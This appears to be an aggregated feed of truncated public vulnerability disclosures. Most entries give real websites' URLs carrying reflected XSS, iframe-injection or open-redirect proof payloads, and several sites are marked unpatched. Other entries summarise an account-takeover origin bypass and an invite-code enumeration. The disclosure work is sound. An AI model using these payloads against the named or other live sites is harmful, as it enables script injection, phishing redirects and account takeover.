london.enquira.co.uk XSS vulnerability

Vulnerable URL: http://london.enquira.co.uk/search.php?what=derp%27%27;%20%3C/script%3E%3Cp%3E%3Cimg%20onload=prompt%28/XSSPOSED/%29%20src=%22http://www.edzynda.com/media/cross-site-injecting1.jpg%22%20/%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:|...

fanevalley.co.uk XSS vulnerability

Vulnerable URL: https://www.fanevalley.co.uk/search.php?s=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7031651 Google...

russoautomobili.it Open Redirect vulnerability

Vulnerable URL: http://www.russoautomobili.it/Site/SetCulture.aspx?culture=de-DE=https://www.openbugbounty.org/ Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 08:26 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclos...

jcsalewholesale.com Open Redirect vulnerability

Vulnerable URL: https://www.jcsalewholesale.com/Home/SetCulture?culture=en-us=https://www.openbugbounty.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

aster-community.teradata.com XSS vulnerability

Vulnerable URL: https://aster-community.teradata.com/community/learn-aster/blog/tags?tags=%22%3E%3C/option%3E%3C/select%3E%3Cbody/onpageshow=prompt%28%29%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerabili...

nextag.com XSS vulnerability

Vulnerable URL: http://www.nextag.com/serv/main/buyer/OutPDir.jsp?search='...

X (Formerly Twitter): Bypassing Digits origin validation which leads to account takeover

Hi, I would like to report an important issue that affects websites that has integrated "Signin with Digits" , leading to potential account takeover. Detail In Digits architecture, the data communication channel between Digits and customer's site relies on postMessage. In order to prevent malicio...

sso.nongshim.com XSS vulnerability

Vulnerable URL: http://sso.nongshim.com/accounts/logoutsuccess?returnURL=javascript%3Aalert%28%2FXSSPOSED%2F%29 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

relatoria.corteconstitucional.gob.ec XSS vulnerability

Vulnerable URL: http://relatoria.corteconstitucional.gob.ec:8282/cgi-bin/wxis.exe/iah/scripts/?IsisScript=iah.xis〈=es= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

pic.sogou.com XSS vulnerability

Vulnerable URL: http://pic.sogou.com/pics?query=%22%3E%3Cscript%3Ealert%28%22XSSPOSED%22%29%3C/script%3E=31140501 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank| 6 VIP...

isapindia.org XSS vulnerability

Vulnerable URL: http://www.isapindia.org/isap/search.php?keyword=%3Cimg%20src=x%20onerror=%22alert%28/XSSPOSED/%29%22%20%3C/ Details: Description| Value ---|--- Patched:| Yes, at 20.10.2016 Latest check for patch:| 20.10.2016 16:25 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

cagi.ch XSS vulnerability

Vulnerable URL: http://www.cagi.ch/en/search.php?q=" Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 21:01 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1190836 Google Pagerank| 6 VIP website status:| No Che...

Uber: Lack of rate limiting on get.uber.com leads to enumeration of promotion codes and estimation of a lower bound on the number of Uber drivers

Invite codes are 5 alphanumeric lower case characters. This means there are 36 26 + 10 possible options for each space in the invite code. In total this means there are 36^5 or 60,466,176 possible invite codes. Through enumerating through all possible invite codes, one can find the total number o...

friendship-bracelets.net IFRAME Injection vulnerability

Vulnerable URL: http://friendship-bracelets.net/pattern.php?id=%22%3E%3Ciframe%20src=https://xssposed.org%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| IFRAME Injection Vulnerability status:| Publicly disclosed Alexa Rank| 185820 Goog...

hwsw.hu XSS vulnerability

Vulnerable URL: http://www.hwsw.hu/kereses/here%22%20onmouseover=alert%28%22XSSPOSED%22%29%20%22 Details: Description| Value ---|--- Patched:| Yes, at 21.07.2017 Latest check for patch:| 21.07.2017 11:59 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 73495 Goog...

fax.al XSS vulnerability

Vulnerable URL: http://fax.al/search?s=here%27%20onmousemove=alert%28%27XSSPOSED%27%29%20%27 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 27319 Google Pagerank| 0 VIP website...

Veris: Security Vulnerability - SMTP protection not used

Hi, I'm checking your website found SPF record there. You should apply strict SMPT policy to stop spoofed email sending from your domain. An attacker would send a Fake email from [email protected] saying that Please change your password, The victim is aware of phishing attacks, But when he sees...

curtistrailers.com XSS vulnerability

Open Bug Bounty ID: OBB-141282 Description| Value ---|--- Affected Website:| curtistrailers.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

wolfram.com XSS vulnerability

Vulnerable URL: http://wolfram.com/broadcast/video.php?sx="...

buy.whitesmoke.com XSS vulnerability

Open Bug Bounty ID: OBB-140501 Description| Value ---|--- Affected Website:| buy.whitesmoke.com Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Chea...